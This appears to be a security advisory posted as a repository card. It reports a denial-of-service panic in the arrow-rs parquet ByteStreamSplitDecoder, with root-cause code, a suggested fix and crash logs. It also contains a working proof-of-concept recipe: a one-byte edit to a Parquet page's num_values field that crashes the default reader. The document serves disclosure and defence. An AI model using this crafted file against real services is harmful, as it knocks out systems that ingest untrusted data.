You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Reachable OOB-index panic (DoS) in arrow-rs parquet ByteStreamSplitDecoder on crafted BYTE_STREAM_SPLIT page β€” missing data-length validation

Target: arrow-rs β€” parquet crate Affected version: parquet = "=59.1.0" (latest release at time of report); also unfixed on main (verified against raw GitHub source β€” set_data/get/join_streams_const are byte-identical and still perform no length/bounds validation). Vulnerable file: parquet-59.1.0/src/encodings/decoding/byte_stream_split_decoder.rs Class: Denial of Service β€” reachable panic / process abort (Rust bounds-check) on attacker-supplied .parquet input.


Summary

ByteStreamSplitDecoder::set_data stores the page byte buffer and the declared value count (total_num_values, taken straight from the DataPageHeader.num_values field) with zero validation. Unlike the sibling VariableWidthByteStreamSplitDecoder, which at least checks data.len() % type_width == 0, the fixed-width path never verifies that encoded_bytes.len() == total_num_values * type_size.

When a page declares more values than its data buffer can supply, get computes stride = encoded_bytes.len() / type_size and calls join_streams_const::<4|8>, whose source index i + j*stride then walks off the end of the source slice. Rust's bounds check fires and aborts the process.

A single crafted .parquet file (no compression, no dictionary) reaches this from the default high-level Arrow reader (ParquetRecordBatchReaderBuilder), so any service that ingests untrusted Parquet is exposed to a remotely-triggerable crash.


Root cause

src/encodings/decoding/byte_stream_split_decoder.rs:

// set_data (lines 83-89): stores buffer + declared count with NO validation
fn set_data(&mut self, data: Bytes, num_values: usize) -> Result<()> {
    self.encoded_bytes = data;
    self.total_num_values = num_values;   // <-- straight from DataPageHeader.num_values
    self.values_decoded = 0;
    Ok(())
}

// get (lines 91-123): computes stride from the *actual* buffer length
fn get(&mut self, buffer: &mut [T]) -> Result<usize> {
    let total_remaining_values = self.total_num_values - self.values_decoded;
    let num_values = total_remaining_values.min(buffer.len());
    let type_size = T::get_type_size();
    let stride = self.encoded_bytes.len() / type_size;   // <-- derived from real len
    match type_size {
        4 => join_streams_const::<4>(&self.encoded_bytes, dst, stride, self.values_decoded),
        8 => join_streams_const::<8>(&self.encoded_bytes, dst, stride, self.values_decoded),
        _ => unreachable!(),
    }
    self.values_decoded += num_values;
    ...
}
// join_streams_const (lines 52-64): unchecked source indexing
fn join_streams_const<const TYPE_SIZE: usize>(
    src: &[u8], dst: &mut [u8], stride: usize, values_decoded: usize,
) {
    let sub_src = &src[values_decoded..];
    for i in 0..dst.len() / TYPE_SIZE {
        for j in 0..TYPE_SIZE {
            dst[i * TYPE_SIZE + j] = sub_src[i + j * stride];   // <-- OOB read index -> panic
        }
    }
}

For a valid page, len = N*4 β†’ stride = N β†’ max source index = (N-1) + 3*N = 4N-1 = len-1 (fits exactly). Break the len == count*type_size invariant (declare more values than bytes) and i + j*stride exceeds sub_src.len(), aborting the process. There is no Result-returning path for this β€” it is a hard panic!/abort.


PoC

Execution-verified against the released crate parquet = "=59.1.0".

Generation (arrow-rs's own low-level writer): schema message schema { required float f; } written with WriterProperties encoding = BYTE_STREAM_SPLIT, dictionary disabled, statistics None, compression UNCOMPRESSED, values [1.0, 2.0, 3.0] β†’ 162-byte valid_bss.parquet. This is the negative control and reads back cleanly (3 rows).

Malicious file = valid file with exactly one byte changed (cmp -l: only offset 0x0c differs, 0x06 → 0x7e). Offset 0x0c is the DataPageHeader.num_values field (compact-thrift zigzag i32); 0x06→3 becomes 0x7e→63. The 12-byte encoded value buffer at offset 0x14 is untouched, so the page now claims 63 float values but supplies only 12 bytes (stride stays 3). File size unchanged (162 bytes) → metadata parses fine.

Trigger path β€” the DEFAULT high-level Arrow reader:

let builder = ParquetRecordBatchReaderBuilder::try_new(Bytes::from(bytes)).unwrap(); // metadata OK
for batch in builder.build().unwrap() { /* first batch = 3 rows, then PANIC */ }

The record reader reads the 3 real values (batch OK: 3 rows), loops again because the page advertises 63 buffered values, calls ByteStreamSplitDecoder::get with values_decoded = 3 β†’ sub_src = src[3..] (len 9) β†’ join_streams_const indexes sub_src[9] β†’ panic/abort.

File hashes

93ab0331647c69e65f841a74273f7947036d9b3df3af2c23b1c1822f1b6e408d  valid_bss.parquet     (negative control)
cf43bed8983a5da97f9192e1471f67a5b1ff1c87a4a99368c2b3f471d355e6d0  malicious_bss.parquet (PoC)

Captured evidence (verbatim)

Negative control (valid_bss.parquet, release build)

read 162 bytes from ../valid_bss.parquet
metadata OK, 1 row groups
batch OK: 3 rows
DONE - no panic

Malicious (malicious_bss.parquet, release build, parquet 59.1.0)

read 162 bytes from ../malicious_bss.parquet
metadata OK, 1 row groups
batch OK: 3 rows

thread 'main' (93642) panicked at /home/kali/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/parquet-59.1.0/src/encodings/decoding/byte_stream_split_decoder.rs:61:38:
index out of bounds: the len is 9 but the index is 9

Debug build backtrace (RUST_BACKTRACE=1, key frames)

panicked at .../byte_stream_split_decoder.rs:61:38: index out of bounds: the len is 9 but the index is 9
  2: core::panicking::panic_bounds_check
  3: parquet::encodings::decoding::byte_stream_split_decoder::join_streams_const::<4>  (byte_stream_split_decoder.rs:61:38)
  4: <ByteStreamSplitDecoder<FloatType> as Decoder<FloatType>>::get  (byte_stream_split_decoder.rs:101:18)
  5: <ColumnValueDecoderImpl<FloatType> as ColumnValueDecoder>::read  (column/reader/decoder.rs:243:36)
  6: GenericColumnReader::read_records_with_reservation  (column/reader.rs:290:51)
  7..10: record_reader / PrimitiveArrayReader<FloatType>::read_records
 12: ParquetRecordBatchReader::next_inner  (arrow/arrow_reader/mod.rs:1495:35)
 13: <ParquetRecordBatchReader as Iterator>::next
 14: verify::main

One-byte difference between control and PoC (cmp -l, 1-indexed / octal)

 13   6 176        # file offset 0x0c: 0x06 (num_values=3) -> 0x7e (num_values=63)

Impact

DoS: a single crafted .parquet file (uncompressed, no dictionary, 162 bytes) crashes any process using the default arrow-rs Parquet reader once decoding reaches the BYTE_STREAM_SPLIT column. Reachable from untrusted input; no special API β€” the standard ParquetRecordBatchReaderBuilder path panics.

Suggested fix

In set_data (or at the start of get), validate that encoded_bytes.len() == total_num_values * type_size (and reject remainders), returning a ParquetError instead of allowing join_streams_const to index out of bounds β€” mirroring the data.len() % type_width == 0 check already present in VariableWidthByteStreamSplitDecoder, but tightened to the exact value-count relationship.


Dedup / novelty

Distinct from the three previously-filed arrow-rs Parquet bugs:

  1. footer-rowgroups alloc DoS,
  2. pushdecoder footer underflow,
  3. DeltaLengthByteArrayDecoder slice OOB (decoding.rs:1010-1011).

This one is a different source file (encodings/decoding/byte_stream_split_decoder.rs), a different encoding (BYTE_STREAM_SPLIT vs DELTA_LENGTH_BYTE_ARRAY), and a different primitive path (FLOAT/DOUBLE fixed-width). No public issue/PR/CVE was found for a ByteStreamSplitDecoder OOB panic (only feature-add PRs #6159/#6222 and an unrelated RleValueDecoder OOB fix #7441). Note: VariableWidthByteStreamSplitDecoder (FIXED_LEN_BYTE_ARRAY) shares the same join_streams_const and only validates data.len() % type_width, not the value-count relationship, so it is plausibly affected by the same class β€” execution-verified here only for the fixed-width FLOAT path.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support